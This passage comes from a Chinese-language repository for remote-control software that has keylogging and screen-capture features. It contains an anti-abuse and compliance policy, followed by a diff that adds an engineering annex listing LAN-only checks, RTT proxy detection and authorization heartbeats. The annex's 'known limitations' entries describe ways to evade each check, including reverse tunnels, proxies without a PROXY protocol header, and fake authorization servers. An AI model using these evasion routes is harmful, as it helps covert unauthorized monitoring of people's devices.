| 内部 IT 运维 | 组织内部对自有设备 / 受雇员同意监控的工作设备进行批量管理 | 组织对设备享有所有权 / 管理权,且对使用人完成合规告知 |
| 授权安全研究 | 渗透测试、红队演练、漏洞研究 | 与目标系统所有方签署书面授权委托 |
| 教学与技术学习 | 在隔离实验环境中学习网络编程、IOCP 模型、远程控制原理 | 实验环境与生产环境完全隔离,无第三方设备介入 |
### 3.2 许可使用场景的共同要件
无论上述哪一种场景,使用方均须同时满足下列要件:
1. **合法权源**:使用方对被管设备享有合法的所有权、管理权或经合法授权
的访问权;
2. **明示同意**:被管设备相关方已就本软件的安装、运行及其将采集 /
传输的所有数据类型,给予事先、明确、可撤回、可追溯的书面同意(含
电子形式);
3. **目的限定**:使用目的限定为前条所列形态,不得超出已告知的范围;
4. **最小必要**:仅使用与目的相符的最小必要功能,不主动启用与目的
无关的采集 / 控制能力;
5. **可审计性**:使用方保留充分的操作日志、授权记录、同意证据,以
备监管核查或事后追溯。
---
## 4. 严禁使用情形
### 4.1 一般性禁止
下列使用情形被本政策**绝对禁止**,不因任何技术可行性或商业便利而例外:
1. **未经授权的访问**:在未取得被管设备所有人或合法管理人事先书面
同意的情况下,对其设备进行访问、监控、控制、信息读取或修改;
2. **隐蔽监控**:以隐蔽、欺骗或诱导方式安装本软件,使被管设备使用人
不知晓本软件正在运行、采集数据或被远程操作;
3. **职场越界监控**:在工作场所对员工实施超出当地劳动法、个人信息
保护法允许范围的监控,包括但不限于个人通讯、私人账户、非工作
时间的活动监控;
4. **未成年人监控**:对未成年人实施未取得其法定监护人完整知情同意的
监控,或在已取得同意的情况下采集 / 传输与监护目的无关的内容;
5. **政府机关 / 关键信息基础设施**:在未取得相应行政许可或安全审查
通过的情况下,将本软件部署于政府机关、关键信息基础设施运营者所
管理的系统;
6. **商业秘密窃取**:用于获取、复制、传输他方拥有所有权或保密权益的
技术信息、经营信息、客户数据;
7. **非法跨境数据传输**:在未完成属地法律所要求的数据出境安全评估、
认证或合同备案的情况下,使用本软件作为传输通道将受管辖数据传输
至境外;
8. **金融、医疗等强监管领域**:在不符合相应行业监管规则(如金融业
外包管理、医疗信息系统等保认证)的情况下,将本软件部署于该等
行业的生产环境;
9. **以骚扰、跟踪、勒索为目的**:用于跟踪特定自然人的行踪、骚扰
通讯、敲诈勒索、网络欺凌或其他对自然人造成精神或财产损害的
行为;
10. **规避执法或监管**:用于隐藏违法证据、对抗执法调查、规避监管
报送义务,或为上述行为提供辅助。
### 4.2 与现行法律体系的对应关系(提示性,非详尽)
下列法律法规中的相关条款,与第 4.1 条所列禁止情形可能直接相关。
本提示不构成对法律适用的全面分析,使用方应自行评估并取得专业法律
意见:
- **中华人民共和国法律体系**
- 《刑法》第 285 条(非法侵入计算机信息系统罪、非法获取计算机
信息系统数据罪、非法控制计算机信息系统罪);
- 《刑法》第 286 条(破坏计算机信息系统罪);
- 《刑法》第 286 条之一(拒不履行信息网络安全管理义务罪);
- 《刑法》第 287 条之一、之二(非法利用信息网络罪、帮助信息
网络犯罪活动罪);
- 《网络安全法》第 27 条、第 44 条、第 76 条;
- 《数据安全法》第 32 条、第 51 条;
- 《个人信息保护法》第 13 条、第 17 条、第 23 条、第 38 条、
第 66 条;
- 《关键信息基础设施安全保护条例》。
- **欧盟法律体系**
- 《通用数据保护条例》GDPR第 5、6、7、9、4449、83 条;
- 《网络与信息系统安全指令》NIS2 Directive
- 部分成员国对工作场所监控、电信秘密的特别立法。
- **其他司法辖区**
- 美国 Computer Fraud and Abuse Act (CFAA)
- 美国各州的电子通讯隐私立法、儿童在线隐私保护法COPPA
- 英国 Computer Misuse Act 1990
- 部分国家 / 地区的"出口管制清单"对网络入侵 / 监视类双用途
物项的限制(如 Wassenaar Arrangement 框架下的"intrusion
software"管制)。
---
## 5. 使用方的义务与承诺
使用方在下载、安装或以任何方式使用本软件之时,即被视为对发行方作出
下列各项独立的、可追溯的承诺:
### 5.1 合法性承诺
使用方承诺其使用本软件的目的、方式、范围、对象在所有相关司法辖区下
均不构成对任何法律法规的违反。使用方进一步承诺其已自行评估或委托
专业人士评估前述合法性,不依赖发行方提供的任何材料(包括本政策)
作为最终合法性判断的依据。
### 5.2 同意取得承诺
在每一台被管设备上部署本软件之前,使用方承诺其已取得被管设备相关方
**事先、明确、书面或可等同书面形式**的同意。该同意应至少包含:
- 软件名称及主要功能描述;
- 将采集的数据类型与传输去向;
- 数据保留期限;
- 撤回同意的方式;
- 数据访问、更正、删除等权利的行使路径。
使用方承诺保留上述同意的可追溯证据不少于本软件在该设备上停止运行
**三 (3) 年** 或属地法律规定的更长期限。
### 5.3 不规避承诺
使用方承诺**不通过任何方式**规避、削弱、屏蔽本软件中由发行方设置
的反滥用机制(详见第 6 节),包括但不限于:
- 反编译、二进制 patch、内存注入修改授权校验逻辑
- 通过 hook、API 拦截、虚拟机等手段屏蔽告警弹窗或日志输出;
- 伪造授权服务器响应、本地搭建假冒授权服务器;
- 修改源代码后将"已禁用反滥用机制"的衍生版本对外分发。
任何上述行为本身即构成对本政策的根本违反,且发行方有权将其作为
"使用方明知滥用而仍刻意为之"的证据用于后续追责。
### 5.4 配合调查承诺
使用方承诺,在发行方根据合理依据怀疑其存在违反本政策的行为时,
有义务在合理期限内向发行方提供下列材料供核查:
- 部署本软件的设备清单及其所有人 / 使用人信息;
- 第 5.2 条所述同意取得证据;
- 部署期间的操作日志、配置信息;
- 与第 4 节所列禁止情形之否认陈述。
如使用方在合理期限内拒绝配合或提供虚假材料,发行方有权直接吊销
其授权,并将相关情况报告给有管辖权的执法或监管机关。
### 5.5 损害赔偿承诺
使用方承诺:因其违反本政策而导致发行方面临任何第三方索赔、行政
处罚、刑事调查或声誉损害的,使用方应向发行方提供完整的损害赔偿
indemnification包括但不限于
- 发行方为应对前述事件支出的合理律师费、调查费、公关费;
- 发行方因前述事件被判决或和解承担的赔偿金额;
- 发行方因前述事件遭受的间接经济损失(在属地法律允许范围内)。
---
## 6. 发行方内置的反滥用技术措施
为体现发行方"已采取合理技术措施防止本软件被滥用"的立场,本软件
在源代码层面内置了下列强制性技术机制。这些机制的源代码公开可查,
任何人均可独立验证其存在与运行:
### 6.1 入站连接源 IP 段校验(`LANChecker`
实现位置:`common/LANChecker.h` 中的 `LANChecker` 类。
机制描述:客户端进程周期性扫描本进程的已建立 (ESTABLISHED) 入站
TCP 连接,对每一连接的远端 IP 地址进行私网段校验。任何来源于公网
IP即非 RFC 1918 / RFC 3927 / 回环段)的连接被检出后,立即触发
向终端用户的可见告警。
合规意义:用于在试用模式下封堵"客户端直接从公网接入被管设备"
这一最常见的越权使用形态。
### 6.2 监听端口数量上限(`LANChecker::CheckPortLimit`
实现位置:同上文件。
机制描述:扫描本进程占用的 TCP 监听端口总数,并与当前授权档对应
的上限值比对:
| 授权档 | 上限 |
|--------|------|
| 无口令 | 2 |
| 试用口令 | 20 |
超过上限即触发告警。该机制的目的是防止单台部署被改造为多租户
中转节点。
### 6.3 应用层 RTT 反代理(`LANRttChecker`
实现位置:同上文件。
机制描述:在试用模式下,对每一条控制连接的心跳 RTT 中位数进行
持续监测,超过 25 毫秒阈值并持续若干窗口后触发告警。该机制基于
"光速决定的物理 RTT 不可被代理转发降低"这一不可规避的物理约束,
用于检测"在 LAN 内放置代理 / 反向隧道,源 IP 仍为私网段但实际
经公网转发到外部客户端"这一比 6.1 更隐蔽的越权使用形态。
合规意义:覆盖了"通过反向隧道间接突破 LAN-only 限制"的滥用路径。
### 6.4 授权服务器周期心跳(`AuthTimeoutChecker`
实现位置:同上文件。
机制描述:客户端进程必须周期性回连发行方运营的授权服务器并完成
心跳。长时间无法回连时先告警,超出更长阈值则强制终止进程。
合规意义:
- 防止"仅在初次激活时联网,之后离线长期使用"以规避后续吊销;
- 为发行方在服务器侧吊销违规授权提供下发通道。
### 6.5 措施的可被感知性
上述全部机制均设计为**故意可被终端用户感知**的"告警 / 终止"路径,
而非静默运行。这一设计意图是:让被滥用部署的实例**自我暴露**
便于被管设备相关方、IT 管理员或合规人员及时发现异常并采取行动。
### 6.6 措施的"合理性"声明
发行方声明:上述机制构成在本软件功能范围内**经合理设计、足以使
善意使用方避免越权部署**的技术措施。发行方承认该等措施不能阻止
具备充分技术能力且持有恶意的攻击者通过深度修改源代码、二进制
patch 或独立重新实现等方式予以规避,但该等深度规避行为本身即超
出"使用本软件"的范畴,构成对发行方知识产权与本政策第 5.3 条
不规避承诺的独立违反,相应法律后果由实施方独立承担。
---
## 7. 授权分级与对应限制
| 授权档 | 适用场景 | 强制限制 | 取得方式 |
|--------|---------|---------|---------|
| 无口令 | 个人单机自用 | 监听端口 ≤ 2 | 直接下载使用 |
| 试用口令 | 内部 LAN 设备管理(严禁跨网) | 监听端口 ≤ 20<br>入站连接源 IP 必须为私网段<br>心跳 RTT 中位数 ≤ 25 ms<br>周期性回连授权服务器 | 向发行方申请,提供身份与用途 |
| 正式授权 | 跨网远程业务 | 由签发协议另行约定 | 人工审核签发,须提供正当用途说明 |
正式授权档的取得程序由发行方另行公布,至少包含:
- 申请人身份核验(自然人为身份证件、法人为营业执照或同等文件);
- 用途说明书(部署形态、目标设备规模、数据流向);
- 合规承诺函(书面承诺接受本政策约束);
- 必要时要求出具被管设备相关方同意取得方案。
---
## 8. 发行方责任范围与免责声明
### 8.1 发行方责任的有限性
发行方在本软件项目中的责任范围**仅限于**下列两项:
1. 提供具备本政策第 6 节所述反滥用机制的软件实现;
2. 在签发"正式授权"时进行合理的身份核验与用途说明审查。
发行方**不承担**下列任何责任:
- 不审查使用方的实际部署形态、被管设备的实际归属、被管设备相关方
实际是否同意;
- 不参与使用方的运营、不为使用方采集的任何数据的内容、来源、去向、
保管、删除负责;
- 不对使用方的合规义务履行情况作任何形式的担保、背书或推荐;
- 不对本软件在任何特定司法辖区、特定使用场景下的合法性出具意见。
### 8.2 关于"许可签发"的特别声明
发行方明确声明:**签发任何档次的授权,均不构成对被授权方任何具体
使用方式的背书、推荐、担保、协助或共谋。** 授权签发仅意味着发行方
基于被授权方提交的材料,**初步认为**该方陈述的用途在表面上不属于
本政策第 4 节所列禁止情形;该初步认定不替代被授权方自身的合法性
评估义务,亦不在被授权方实际使用偏离申请陈述时构成发行方的事先
同意。
### 8.3 越权使用后果的归属
被授权方违反本政策从事任何越权或违法使用所造成的全部法律后果(含
但不限于民事赔偿、行政处罚、刑事责任、第三方损害赔偿、声誉损害),
**由被授权方独立承担,与发行方无关**
被授权方在此明确同意:发行方在受到任何与该等越权使用有关的索赔、
通知、调查或诉讼时,被授权方应作为独立责任主体出面应对,并按本
政策第 5.5 条的约定向发行方提供完整的损害赔偿。
### 8.4 软件按"现状"提供的声明
本软件按"现状"AS IS和"现有功能"AS AVAILABLE提供。除属地
强制性法律另有明确规定且不可被合同排除者外,发行方**不就本软件
作出任何形式的明示或默示担保**,包括但不限于:
- 适销性担保;
- 特定用途适用性担保;
- 不侵权担保;
- 软件运行不中断或无错误的担保;
- 反滥用机制能挡住所有形式的攻击或绕过的担保;
- 在任何特定司法辖区下合法可用的担保。
### 8.5 责任上限
在属地强制性法律允许的最大范围内,发行方对使用方的全部责任合计
不得超过下列两者中的较低者:
- 使用方为该次授权实际向发行方支付的费用(如有);
- 等值于 100 欧元 / 等值于 800 元人民币 / 等值于 100 美元的金额,
以发行方所在司法辖区货币为准。
发行方在任何情况下均不对下列损失承担责任(即便已被告知该等损失
之可能性):
- 间接损失、特殊损失、惩罚性损失、附带损失;
- 利润损失、营业中断损失、商誉损失;
- 数据丢失或数据损坏;
- 第三方索赔。
---
## 9. 违规处置
### 9.1 单方处置权
发行方在合理依据下怀疑使用方存在违反本政策的行为时,有权在不另行
通知的情况下采取下列任一或全部措施:
1. 立即吊销该使用方的现有授权;
2. 在授权服务器侧将该使用方的标识 / 设备指纹列入黑名单;
3. 向有管辖权的执法、监管或司法机关主动报告并提交相关证据;
4. 在公开仓库的发行说明、公告或官网中公示违规事实(在符合属地
隐私与名誉权法律的前提下)。
### 9.2 配合执法
发行方在收到任何有管辖权的执法机关、监管机关或司法机关合法发出
的协查函、调取通知、调查令时,将依法配合,包括但不限于:
- 提交授权签发记录;
- 提交授权服务器侧的心跳、IP 等技术日志(在发行方实际持有的范围内);
- 在依法保密义务允许的范围内,向相关执法机关说明本软件的设计意图
与反滥用机制。
被授权方对授权协议的接受,即视为对发行方上述配合执法行为的明示
同意,不构成对其商业秘密、个人信息或合同义务的违反。
---
## 10. 数据保护与隐私
### 10.1 发行方不接触使用方采集的数据
发行方设计本软件时遵循"控制平面(授权 / 心跳)与数据平面(远程
桌面 / 文件传输 / 屏幕采集)严格分离"原则。**发行方运营的授权
服务器不接收、不存储、不转发使用方通过本软件采集或传输的任何
被管设备数据。** 该等数据仅在使用方自身的部署架构中流转,由使用
方独立承担"数据控制者"或"数据处理者"在属地法律下的全部义务。
### 10.2 使用方作为独立数据控制者
使用方在使用本软件采集、存储、传输、处理被管设备相关方的任何
个人信息时,**单独构成属地数据保护法下的数据控制者**GDPR
意义上的 Controller或《个人信息保护法》意义上的"个人信息处理
者"),独立承担下列义务:
- 合法性基础的取得与记录;
- 告知与透明度义务;
- 数据主体权利响应(访问、更正、删除、可携带、反对自动决策等);
- 数据安全保障与泄露通知;
- 跨境传输的合规路径选择;
- 留存与删除政策;
- 必要时的数据保护影响评估DPIA
### 10.3 不就属地合规义务作具体指引
发行方因不掌握使用方的具体部署形态、被管设备类型、被管数据敏感
程度,故无法、亦不就使用方在任何具体司法辖区下的合规义务履行
作出具体指引。使用方应自行委托专业律师 / 数据保护官DPO评估
并完成属地合规。
---
## 11. 出口管制与制裁合规
### 11.1 双用途物项的属性提示
本软件具备远程访问、屏幕采集、键盘记录、文件传输等技术功能,
在部分司法辖区可能构成"双用途物项"dual-use item受出口
管制法律约束(如 Wassenaar Arrangement 框架下"intrusion software"
管制类目、欧盟 Regulation (EU) 2021/821、中国《两用物项出口管制
条例》等)。
### 11.2 使用方的自查义务
使用方在跨境传输、部署或使用本软件前,应自行评估其行为是否触发
属地的出口管制、制裁清单(含联合国制裁、美国 OFAC 制裁、欧盟
限制性措施清单、中国不可靠实体清单等)申报或许可义务,并独立
承担合规责任。发行方不就该等评估提供任何意见或保证。
### 11.3 制裁实体禁用
使用方不得将本软件出口、再出口、转让、提供给任何属地法律所列的
制裁对象(自然人 / 法人 / 国家 / 地区),亦不得用于该等制裁对象
所控制或所在的设施。
---
## 12. 知识产权与开源声明
### 12.1 著作权归属
本软件的源代码与文档之著作权归发行方所有,并按仓库根目录
`LICENSE` 文件所标识的开源许可证(如 MIT 许可证)对外许可。
该开源许可证授予的权利与本政策对滥用行为的禁止**并行不悖**
开源许可证授予的修改、再分发、商用等权利,不构成对违法 / 越权
使用之豁免。
### 12.2 衍生版本的合规义务传递
任何对本软件源代码进行修改后再行分发的人员("再分发者"),有
义务在其分发物中**完整保留**
- 本政策的全文(或对其的不可断链 URL 引用);
- 第 6 节所列反滥用技术措施的完整源代码与运行行为;
- 仓库根目录 `LICENSE` 文件。
任何在再分发物中**移除、削弱或禁用**前述任一项的行为,构成对发行方
著作权与本政策的双重违反,发行方保留追究责任的全部权利。
---
## 13. 适用法律与争议解决
### 13.1 适用法律
本政策的解释、效力及与本政策有关的争议,**适用发行方在仓库联系
方式中所披露之住所地的法律**。前述住所地以仓库元数据README.md、
作者声明等)所披露者为准;如发行方未明确披露住所地,则以发行方
最新一次公开发布行为发生时其 IP 地址或运营主体注册地所在司法辖区
为准。
### 13.2 争议解决方式
因本政策引起或与本政策有关的任何争议,双方应首先协商解决;协商
不成的,**任一方均有权将争议提交至发行方住所地有管辖权的法院诉讼
解决**。使用方在此明示放弃对前述法院管辖权的任何异议(含不方便
法院抗辩 forum non conveniens
### 13.3 集体诉讼放弃
在属地强制性法律允许的范围内,使用方明确放弃以集体诉讼、集团诉讼
class action或代表人诉讼形式针对发行方主张权利的资格。使用方
对发行方的主张应仅以个人名义提出。
---
## 14. 文档优先级与变更
### 14.1 文档优先级
本政策与本软件附带 / 关联的其他材料发生冲突时,按下列顺序确定
优先级(顺序在前者优先):
1. 发行方为正式授权另行签订的书面授权协议;
2. **本政策**
3. 仓库根目录 `LICENSE` 文件中与责任划分有关的条款;
4. `README.md` 及其他说明性文档。
但本政策第 1.3 条之"对发行方更有利、对使用方义务更严格"的冲突
解决规则,作为**最高优先级**适用。
### 14.2 文档变更
发行方有权随时更新本政策。更新后的版本自其在仓库公开发布之时起
对所有自该时点之后获取本软件的人员生效;对在更新前已获取本软件
但在更新后继续使用的人员,自其首次升级 / 重新拉取仓库代码或心跳
回连授权服务器之时起生效。
使用方有义务在每次升级或重新部署本软件前,检查仓库中本政策的
最新版本。继续使用即视为接受更新后的版本。
---
## 15. 文档可分割性
本政策任何一条因任何原因被有管辖权的法院或仲裁机构认定为无效、
不可执行或违反公共秩序的,**不影响本政策其他条款的效力**。被
认定无效的条款应在最大可能保留发行方原意的前提下,被替换为
最接近原意且属合法的条款。
---
## 16. 联系方式
如就本政策内容、授权申请、违规举报或合规疑问需要与发行方沟通,
请通过仓库 `README.md` 中所披露的联系渠道联系发行方。发行方
对所有联系信息按其惯例处理,**对联系行为本身不构成任何形式的
咨询关系或法律意见关系**。
---
## 附录 A使用方合规自检清单建议
使用方在每次新部署本软件前,建议自行核对下列事项。本清单仅供
参考,不替代专业法律意见:
- [ ] 我对所有被管设备享有合法的所有权或管理权
- [ ] 我已就本软件的安装、运行及数据采集取得每一名被管设备使用人的事先书面同意
- [ ] 我已书面记录并保存上述同意,并制定了 ≥ 3 年的保管期限
- [ ] 我的使用目的限定在本政策第 3.1 条所列许可场景之内
- [ ] 我不在工作场所对员工实施超出当地劳动法允许范围的监控
- [ ] 我不对未成年人实施未取得监护人完整同意的监控
- [ ] 我不在政府机关 / 关键信息基础设施部署本软件,或已取得相应许可
- [ ] 我已评估属地《数据保护法》/ GDPR / 个人信息保护法下的数据控制者义务,并已设计相应制度
- [ ] 如涉跨境数据传输,我已完成属地法律所要求的合规路径
- [ ] 我未对本软件源代码作任何削弱反滥用机制的修改
- [ ] 我已为本次部署留存完整的操作日志、配置记录与授权链证据
- [ ] 我理解并同意发行方在合理怀疑时的单方吊销权与配合执法权
---
## 附录 B发行方反滥用立场要点用于对外引用
如有第三方(含但不限于潜在客户、合规审查方、媒体、监管机关)就
发行方对滥用行为的立场提出询问,可援引下列要点:
1. **明确反对滥用**:发行方在 README、本政策、源代码注释中均明确
反对将本软件用于任何未授权访问、隐蔽监控、商业秘密窃取等违法
违规用途。
2. **内置技术措施**:发行方在源代码层面内置了至少四项独立的反滥用
技术机制IP 段校验、端口数限制、RTT 反代理、授权心跳),使
善意使用方难以无意中越权部署。
3. **分级授权**:发行方按"无口令 / 试用 / 正式"三档管理能力开放,
高风险的跨网能力仅向通过人工审核的正式授权方开放。
4. **不接触数据**:发行方运营的授权服务器仅承担授权与心跳,不接触、
不存储使用方通过本软件采集的任何被管设备数据。
5. **配合执法**:发行方在收到合法协查请求时依法配合,提交其实际
持有的授权与心跳记录。
6. **保留处置权**:发行方对存在违规迹象的授权方保留即时吊销权与
黑名单处置权,相应授权协议条款已对此作出明示约定。
---
**文档结束 / END OF DOCUMENT**

View File

@@ -0,0 +1,244 @@
# 反滥用技术措施清单(技术证据链)
> **文档版本**1.0
> **维护范围**:本仓库 `common/` `client/` `server/` 三个目录中所有与"反滥用 / 合规执法"
> 相关的代码模块。
> **文档定位**:本文档是 [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md) 第 6 节
> "发行方内置的反滥用技术措施"的**工程实现附表**。政策口径以 `Compliance_AntiAbuse.md` 为准;
> 本文档仅就"具体代码在哪、为什么这样设计、目前的已知局限"做工程化登记。
> **受众**:本仓库的维护者、合规审查方、独立验证人员。
---
## 关于本文档
本仓库自起步即声明"试用版仅供 LAN 内自用,不得跨网",并明确反对任何未授权访问、
隐蔽监控、商业秘密窃取等违法用途(见 [`README_EN.md`](../README_EN.md) /
[`ReadMe.md`](../ReadMe.md) / [`Compliance_AntiAbuse.md`](Compliance_AntiAbuse.md))。
此声明若仅停留在文字层面,其证明力有限。为此发行方在源代码层面陆续构筑多道
**可被独立验证**的技术屏障,并将其引入证据链以备:
1. 监管核查时举证"已尽合理技术措施";
2. 第三方合规审计时提供可直接 review 的代码位置;
3. 后续维护者修改这些文件时识别"哪些行为不能被弱化"。
本文档的每一项措施都给出:
- **源代码位置**(精确到文件 + 函数 / 类,不带行号 —— 行号随代码漂移);
- **机制摘要**(一段话讲清楚做什么);
- **设计动机**(为什么需要这一层、防的是哪类滥用形态);
- **已知局限**(不夸大宣传,明示哪些场景挡不住)。
---
## 1. 当前生效的技术措施
### 1.1 入站连接源 IP 段校验
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class LANChecker::CheckAndWarn()` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager::OnHeatbeatResponse` 的 trial 分支 |
| 阈值 | 任一入站连接对端 IP 落在公网段(非 RFC 1918 / RFC 3927 / 回环段)即触发 |
| 触发动作 | 终端用户可见 `MessageBox` 告警(一次性 latch |
| 设计动机 | 封堵"试用版被直接挂到公网"这一最常见、技术门槛最低的越权部署 |
| 已知局限 | 攻击者在 LAN 内放置反向代理 / 隧道时,对端 IP 仍呈私网段 → 漏检 → 由 [1.3 RTT 反代理](#13-应用层-rtt-反代理) 兜底 |
### 1.2 监听端口数量上限
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `LANChecker::CheckPortLimit(int maxPorts)` |
| 触发位置 | 同 1.1trial 分支调用 `CheckPortLimit(2)` |
| 阈值 | 试用:≤ 2 个监听端口;无口令:≤ 2 个 |
| 触发动作 | 终端用户可见告警 |
| 设计动机 | 防止单台试用部署被改造为多租户中转节点 / 公网代理出口 |
| 已知局限 | 仅扫描本进程 PID 的监听端口;攻击者另起辅助进程在同机做端口转发可绕过,但攻击成本已上升,且会被其他机制(如 1.3)侧面捕获 |
### 1.3 应用层 RTT 反代理
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class LANRttChecker` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `CKernelManager::OnHeatbeatResponse`(自 commit `4279e79` 起从 `AuthKernelManager` 迁至此处,使采样源从"客户端到授权服务器"变为"客户端到主控服务器",更精确反映滥用链路) |
| 启停 | 由主控通过 `MasterSettings.IsTrail` 字段下发;试用主控 → 开,已授权主控 → 关 |
| 阈值参数 | 25 ms 中位数 / 滑窗 10 / 收敛跳过 5 / 持续超阈 3 次(最快触发 ≥ 150 秒) |
| 触发动作 | 终端用户可见告警(一次性 latch进程生命周期内不再重弹 |
| 设计动机 | 1.1 的物理盲区补丁:光速决定的真实 RTT 不可被代理转发降低,能识别"源 IP 看似私网、实际经公网中转"的反向隧道部署 |
| 已知局限 | 攻击者自有公网 IP 且与"客户"同城同 ISP 时,物理 RTT 可低于阈值 → 漏检。该残留盲区已在 [`common/LANChecker.h`](../common/LANChecker.h) `class LANRttChecker` 的头部注释中明示,并标注"需叠加同源 IP 多 ClientID 行为信号做双因素判定" |
### 1.4 授权服务器周期心跳与超时熔断
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/LANChecker.h`](../common/LANChecker.h) `class AuthTimeoutChecker` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager` 心跳循环;`ResetTimer()` 在每次 ACK 到达时被调 |
| 阈值 | DEBUG 30s 警告RELEASE 300s 警告;后续超时阈值由 `AuthTimeoutChecker::Check` 控制 |
| 触发动作 | 警告期:可见 `MessageBox`;终态:进程退出 |
| 设计动机 | 防止"仅在初次激活时联网、之后离线长期使用"以规避吊销;同时为发行方在授权服务器侧吊销违规授权提供下发通道 |
| 已知局限 | 攻击者搭建假冒授权服务器并做 DNS / hosts 劫持可绕过;但属本政策 [`Compliance_AntiAbuse.md` § 5.3](Compliance_AntiAbuse.md) 明示禁止之"伪造授权服务器响应"行为,已转入法律风险 |
### 1.5 服务端硬性并发连接上限
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg` 构造、`OnInitDialog``OnPasswordCheck` 三处 |
| 机制 | `m_nMaxConnection = 2` 是初始默认;`IsPwdHashValid()``CheckValid(-1)` 失败时强制重置为 2 并 `UpdateMaxConnection(2)` |
| 设计动机 | 未授权主控的"硬天花板"。客户端校验代码可能被重打包绕过,但 TCP / UDP 服务器在并发数超限时直接拒绝新连接,是难以从客户端侧绕开的服务端策略 |
| 已知局限 | 未授权主控的运营者若直接修改服务端二进制以解除上限,已构成对政策 [`Compliance_AntiAbuse.md` § 5.3](Compliance_AntiAbuse.md) 的根本违反 |
### 1.6 系统时钟篡改检测
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/DateVerify.h`](../common/DateVerify.h) `class DateVerify` |
| 触发位置 | [`client/KernelManager.cpp`](../client/KernelManager.cpp) `AuthKernelManager::OnHeatbeatResponse` 中授权分支 |
| 机制 | 客户端通过多个公共 NTP 源(阿里云 / 腾讯 / 清华 TUNA / 港澳台 / 全球池等共 11 个,按地理优先级)核对系统时间;时间被回拨用以延长试用 → `TerminateProcess(0xDEAD0001)` |
| 设计动机 | 防止用户修改系统时间利用早期试用授权码或绕过时间相关的授权约束 |
| 已知局限 | 出网完全被阻断时无法核对 NTP该情形下与 1.4 共同作用——长时间无 NTP / 无授权心跳同时存在时进程会被自然终止 |
### 1.7 子连接身份校验
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/Server.h`](../server/2015Remote/Server.h) `CONTEXT_OBJECT::m_bAuthenticated`;触发于 `TOKEN_CONN_AUTH` 处理路径 |
| 机制 | 主连接走 `TOKEN_LOGIN`;屏幕 / 文件 / 键盘等子连接走 `TOKEN_CONN_AUTH`,连入后必须在握手阶段提交可校验凭证;当前阶段为"宽容验证"模式,仅打标记,为后续收紧策略保留入口 |
| 设计动机 | 防止攻击者绕过主连接直接连入子连接通道复用既有 ClientID 的会话 |
| 已知局限 | 当前为宽容模式(未通过仍接受),仅作为标记。收紧时机待定,将在新增 commit 中说明 |
### 1.8 主控授权状态下发
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`common/commands.h`](../common/commands.h) `struct MasterSettings``Authorized` / `IsTrail` 字段;服务端 [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnInitDialog` 中填充 |
| 机制 | 服务端在客户端注册后将自己的"授权 / 试用"状态写入 `MasterSettings` 下发;客户端在 [`client/KernelManager.cpp`](../client/KernelManager.cpp) `CMD_MASTERSETTING` 分支接收,据此决定是否启用 [1.3 RTT 反代理](#13-应用层-rtt-反代理) |
| 设计动机 | 让试用 / 已授权两种主控的客户端行为差异化:试用主控的所有连入客户端自动启用反代理检测;正式授权主控的客户端则关闭,避免误伤合法的跨网远控场景 |
| 兼容性 | 字段位于 `MasterSettings.Reserved` 的前 2 字节,保持 `sizeof(MasterSettings) == 500` 不变;旧客户端连新服务端时按 `MasterSettingsOldSize` 截读,不影响协议兼容 |
### 1.9 服务端入站 IP 段即时检测
| 项目 | 内容 |
| --- | --- |
| 源代码 | [`server/2015Remote/IOCPServer.cpp`](../server/2015Remote/IOCPServer.cpp) `OnAccept` 末段;[`common/LANChecker.h`](../common/LANChecker.h) `LANChecker::IsPrivateIPv4Str` |
| 触发位置 | [`server/2015Remote/2015RemoteDlg.cpp`](../server/2015Remote/2015RemoteDlg.cpp) `CMy2015RemoteDlg::OnTrialWanIpAbuse`(由 `OnAccept` `PostMessage(WM_TRIAL_WAN_IP_ABUSE)` 触发) |
| 检测时机 | 每个新连接 `accept` 后立即检测,**比 RTT 路径快**(无需累计 30 秒的中位数样本) |
| 信号源 | Proxy Protocol v2 透出的真实客户端 IP若存在→ 否则回退到 `getpeername` 的 raw TCP 对端 IP |
| 阈值 | 任一入站 IP 不在 RFC 1918 / RFC 3927 / 回环段 → 即触发 |
| 触发动作 | 每个 abusive 连接独立记 `Mprintf` 日志(含真实 IP + 解析来源);与 [1.10 服务端内核级 RTT 监测](#110-服务端内核级-rtt-监测sio_tcp_info) 共用 `IOCPServer::s_TrialAbuseWarned` 进程级 latch → 主窗口 `MessageBox` 弹一次 |
| 启停 | 仅在 `m_bTrialMode` 为真时执行(`StartServer``IsTrail(passcode)` 缓存);正式授权主控该分支彻底跳过 |
| 设计动机 | 补 [1.10](#110-服务端内核级-rtt-监测sio_tcp_info) 的 TCP 终结代理盲点 —— 合作型代理FRP / HAProxy若发送 PP2 头,本检测就能拿到真实 IP 并直接命中。即时触发,无需等待 RTT 累积 |
| 与客户端 [1.1](#11-入站连接源-ip-段校验) 的关系 | 两层不重复:[1.1] 在 master 进程内**周期性**扫 `GetExtendedTcpTable`,看到的是内核态 raw IP不透 PP2本节在 `OnAccept` **即时**触发,能透 PP2 真实 IP。两层互补 |
| 已知局限 | 不发 PP2 头的代理socat、自制 TCP 转发、不配 PP2 的 FRP→ 看到的仍是代理的 LAN IP**本节漏检**,由 [1.3 客户端 RTT 反代理](#13-应用层-rtt-反代理) 端到端 RTT 兜底 |
| 性能 | 每新连接增加一次 `inet_pton` + 几个位运算(< 1µs。非试用模式下 `m_bTrialMode == false`,整段分支彻底跳过 |
### 1.10 服务端内核级 RTT 监测(`SIO_TCP_INFO`
| 项目 | 内容 |
| --- | --- |
